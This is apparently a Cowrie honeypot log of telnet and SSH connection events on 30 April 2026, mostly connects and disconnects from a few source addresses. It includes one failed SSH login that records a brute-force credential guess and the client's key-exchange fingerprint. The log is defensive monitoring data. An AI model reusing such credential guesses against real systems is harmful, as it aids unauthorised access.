{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33160,"dst_ip":"10.17.0.5","dst_port":23,"session":"651f41e77a7e","protocol":"telnet","message":"New connection: 64.237.60.107:33160 (10.17.0.5:23) [session: 651f41e77a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.966414Z"}
{"eventid":"cowrie.session.closed","duration":30.671051025390625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.085346Z","src_ip":"64.237.60.107","session":"8b6a5dea583a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.0.181.239","src_port":40188,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ce6fd2f2c6","protocol":"telnet","message":"New connection: 161.0.181.239:40188 (159.203.135.109:23) [session: f6ce6fd2f2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.096173Z"}
{"eventid":"cowrie.session.closed","duration":30.817558526992798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.113520Z","src_ip":"64.237.60.107","session":"2990f7c57e3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33168,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80f136f502b","protocol":"telnet","message":"New connection: 64.237.60.107:33168 (10.17.0.5:23) [session: b80f136f502b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.137614Z"}
{"eventid":"cowrie.session.closed","duration":30.748627185821533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.156510Z","src_ip":"45.77.199.58","session":"12f70ec8ce80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912824869155884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.172419Z","src_ip":"45.77.199.58","session":"161e103ed82d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.145536422729492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.253435Z","src_ip":"64.237.60.107","session":"62fbf65795e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe1984f7939","protocol":"telnet","message":"New connection: 64.237.60.107:33174 (10.17.0.5:23) [session: 6fe1984f7939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.336310Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":36430,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2788718f02f","protocol":"telnet","message":"New connection: 45.77.199.58:36430 (10.17.0.5:23) [session: f2788718f02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.348929Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33178,"dst_ip":"10.17.0.5","dst_port":23,"session":"301be777f0e2","protocol":"telnet","message":"New connection: 64.237.60.107:33178 (10.17.0.5:23) [session: 301be777f0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.359234Z"}
{"eventid":"cowrie.session.closed","duration":31.63587999343872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.838927Z","src_ip":"64.237.60.107","session":"c4d7bb6f3ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31639051437378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:53.856842Z","src_ip":"64.237.60.107","session":"8bfc813f6740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.360108852386475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.039876Z","src_ip":"64.237.60.107","session":"a5ed79babd02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923418045043945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.085922Z","src_ip":"64.237.60.107","session":"5936389f9566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840102910995483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.119221Z","src_ip":"45.77.199.58","session":"9e3fb679176e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61221718788147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.129163Z","src_ip":"64.237.60.107","session":"90d116fdb02a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61277723312378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.134842Z","src_ip":"64.237.60.107","session":"8fb81fdced91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0603244304657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.182649Z","src_ip":"64.237.60.107","session":"9ee2aa49f8b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23897933959961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.325861Z","src_ip":"64.237.60.107","session":"f9ffca074b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33180,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4a5f2051f9","protocol":"telnet","message":"New connection: 64.237.60.107:33180 (10.17.0.5:23) [session: 7a4a5f2051f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.538266Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e4801a1c57","protocol":"telnet","message":"New connection: 64.237.60.107:33190 (10.17.0.5:23) [session: 77e4801a1c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:54.686114Z"}
{"eventid":"cowrie.session.closed","duration":30.50059986114502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:55.123101Z","src_ip":"45.77.199.58","session":"12db27849774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162595510482788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:55.350399Z","src_ip":"64.237.60.107","session":"17793aab2cb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33206,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a86ea08dd29","protocol":"telnet","message":"New connection: 64.237.60.107:33206 (10.17.0.5:23) [session: 1a86ea08dd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:55.390381Z"}
{"eventid":"cowrie.session.closed","duration":30.59782385826111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:55.449825Z","src_ip":"64.237.60.107","session":"46643140aff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33214,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ed9554b494","protocol":"telnet","message":"New connection: 64.237.60.107:33214 (10.17.0.5:23) [session: d1ed9554b494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:55.527810Z"}
{"eventid":"cowrie.session.closed","duration":31.25804376602173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:56.421222Z","src_ip":"64.237.60.107","session":"52daa73e67e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f9fe639946","protocol":"telnet","message":"New connection: 64.237.60.107:44622 (10.17.0.5:23) [session: 57f9fe639946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:56.712013Z"}
{"eventid":"cowrie.session.closed","duration":31.5134334564209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:56.801222Z","src_ip":"64.237.60.107","session":"f9f0b3dca0ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44638,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6176c5fb60c","protocol":"telnet","message":"New connection: 64.237.60.107:44638 (10.17.0.5:23) [session: a6176c5fb60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.004807Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44650,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d96beb4f521","protocol":"telnet","message":"New connection: 64.237.60.107:44650 (10.17.0.5:23) [session: 1d96beb4f521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.078111Z"}
{"eventid":"cowrie.session.closed","duration":31.07234811782837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.093948Z","src_ip":"64.237.60.107","session":"b1047cf01dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08378529548645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.363878Z","src_ip":"64.237.60.107","session":"f0d096ed5dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44664,"dst_ip":"10.17.0.5","dst_port":23,"session":"60caf1228a85","protocol":"telnet","message":"New connection: 64.237.60.107:44664 (10.17.0.5:23) [session: 60caf1228a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.385917Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44672,"dst_ip":"10.17.0.5","dst_port":23,"session":"06df0b607e41","protocol":"telnet","message":"New connection: 64.237.60.107:44672 (10.17.0.5:23) [session: 06df0b607e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.390541Z"}
{"eventid":"cowrie.session.closed","duration":31.440762281417847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.580213Z","src_ip":"45.77.199.58","session":"a7197abe6e2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44682,"dst_ip":"10.17.0.5","dst_port":23,"session":"475565c9921d","protocol":"telnet","message":"New connection: 64.237.60.107:44682 (10.17.0.5:23) [session: 475565c9921d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:57.694494Z"}
{"eventid":"cowrie.session.closed","duration":30.155571699142456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.017900Z","src_ip":"45.77.199.58","session":"0cfdecf76e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44686,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbfeaa1eb3f0","protocol":"telnet","message":"New connection: 64.237.60.107:44686 (10.17.0.5:23) [session: cbfeaa1eb3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.139001Z"}
{"eventid":"cowrie.session.closed","duration":30.88165283203125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.206640Z","src_ip":"64.237.60.107","session":"b9fd85445f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811177492141724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.366829Z","src_ip":"64.237.60.107","session":"d0e90a56e32d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56494,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9fa2c9457e2","protocol":"ssh","message":"New connection: 159.203.92.129:56494 (159.203.135.109:22) [session: c9fa2c9457e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.477506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.482301Z","src_ip":"159.203.92.129","session":"c9fa2c9457e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.486499Z","src_ip":"159.203.92.129","session":"c9fa2c9457e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.344151496887207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.498069Z","src_ip":"64.237.60.107","session":"0cd53f485b49","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"adminroot010203","message":"login attempt [adminroot/adminroot010203] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.503190Z","src_ip":"159.203.92.129","session":"c9fa2c9457e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44690,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e9589c40b8","protocol":"telnet","message":"New connection: 64.237.60.107:44690 (10.17.0.5:23) [session: a1e9589c40b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:58.600636Z"}
{"eventid":"cowrie.session.closed","duration":30.82409381866455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:59.044380Z","src_ip":"45.77.199.58","session":"ecacaf44779b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44700,"dst_ip":"10.17.0.5","dst_port":23,"session":"988ddb994c8d","protocol":"telnet","message":"New connection: 64.237.60.107:44700 (10.17.0.5:23) [session: 988ddb994c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:59.160848Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44704,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5316c950f28","protocol":"telnet","message":"New connection: 64.237.60.107:44704 (10.17.0.5:23) [session: b5316c950f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:59.340899Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44710,"dst_ip":"10.17.0.5","dst_port":23,"session":"82b2a09219a6","protocol":"telnet","message":"New connection: 64.237.60.107:44710 (10.17.0.5:23) [session: 82b2a09219a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:59.482120Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:59.509305Z","src_ip":"159.203.92.129","session":"c9fa2c9457e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.155380487442017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:00.054884Z","src_ip":"64.237.60.107","session":"baf61db7543c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84510564804077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:00.174858Z","src_ip":"64.237.60.107","session":"4bd3dde3c3eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44712,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad322152452e","protocol":"telnet","message":"New connection: 64.237.60.107:44712 (10.17.0.5:23) [session: ad322152452e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:00.360574Z"}
{"eventid":"cowrie.session.closed","duration":30.832412004470825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:00.388120Z","src_ip":"64.237.60.107","session":"7066e39dd5e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44722,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b17c983f9e","protocol":"telnet","message":"New connection: 64.237.60.107:44722 (10.17.0.5:23) [session: a2b17c983f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:01.343316Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44732,"dst_ip":"10.17.0.5","dst_port":23,"session":"e75826185d77","protocol":"telnet","message":"New connection: 64.237.60.107:44732 (10.17.0.5:23) [session: e75826185d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:01.721478Z"}
{"eventid":"cowrie.session.closed","duration":30.949434280395508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.215707Z","src_ip":"64.237.60.107","session":"ce059eb61006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759460926055908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.256422Z","src_ip":"64.237.60.107","session":"2d4124ad197b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02246356010437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.284776Z","src_ip":"64.237.60.107","session":"8920bded19f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07157874107361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.319843Z","src_ip":"64.237.60.107","session":"97de43ba0a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44748,"dst_ip":"10.17.0.5","dst_port":23,"session":"6497e23fc4ba","protocol":"telnet","message":"New connection: 64.237.60.107:44748 (10.17.0.5:23) [session: 6497e23fc4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.358606Z"}
{"eventid":"cowrie.session.closed","duration":31.431450843811035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.477253Z","src_ip":"64.237.60.107","session":"b1a3d778300d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254762887954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.497094Z","src_ip":"64.237.60.107","session":"3e159b8aa054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.488196849822998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:02.742544Z","src_ip":"64.237.60.107","session":"1347601acbe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911213636398315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:03.110385Z","src_ip":"45.77.199.58","session":"4112e7c04e02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44754,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a8e66ed18df","protocol":"telnet","message":"New connection: 64.237.60.107:44754 (10.17.0.5:23) [session: 7a8e66ed18df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:03.281371Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44766,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb50ca8cfad","protocol":"telnet","message":"New connection: 64.237.60.107:44766 (10.17.0.5:23) [session: bbb50ca8cfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:03.337708Z"}
{"eventid":"cowrie.session.closed","duration":31.307799577713013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:03.390199Z","src_ip":"64.237.60.107","session":"7d59e7c5d6ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658010721206665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:03.502975Z","src_ip":"64.237.60.107","session":"da19628a69c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.256861925125122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:04.054057Z","src_ip":"64.237.60.107","session":"fee539a746cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208237648010254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:04.462882Z","src_ip":"64.237.60.107","session":"87e1475b1a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315579175949097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:04.672590Z","src_ip":"64.237.60.107","session":"b0e998c224fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44774,"dst_ip":"10.17.0.5","dst_port":23,"session":"02514d699971","protocol":"telnet","message":"New connection: 64.237.60.107:44774 (10.17.0.5:23) [session: 02514d699971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.184553Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44786,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f39c2d3d6ad","protocol":"telnet","message":"New connection: 64.237.60.107:44786 (10.17.0.5:23) [session: 3f39c2d3d6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:05.225600Z"}
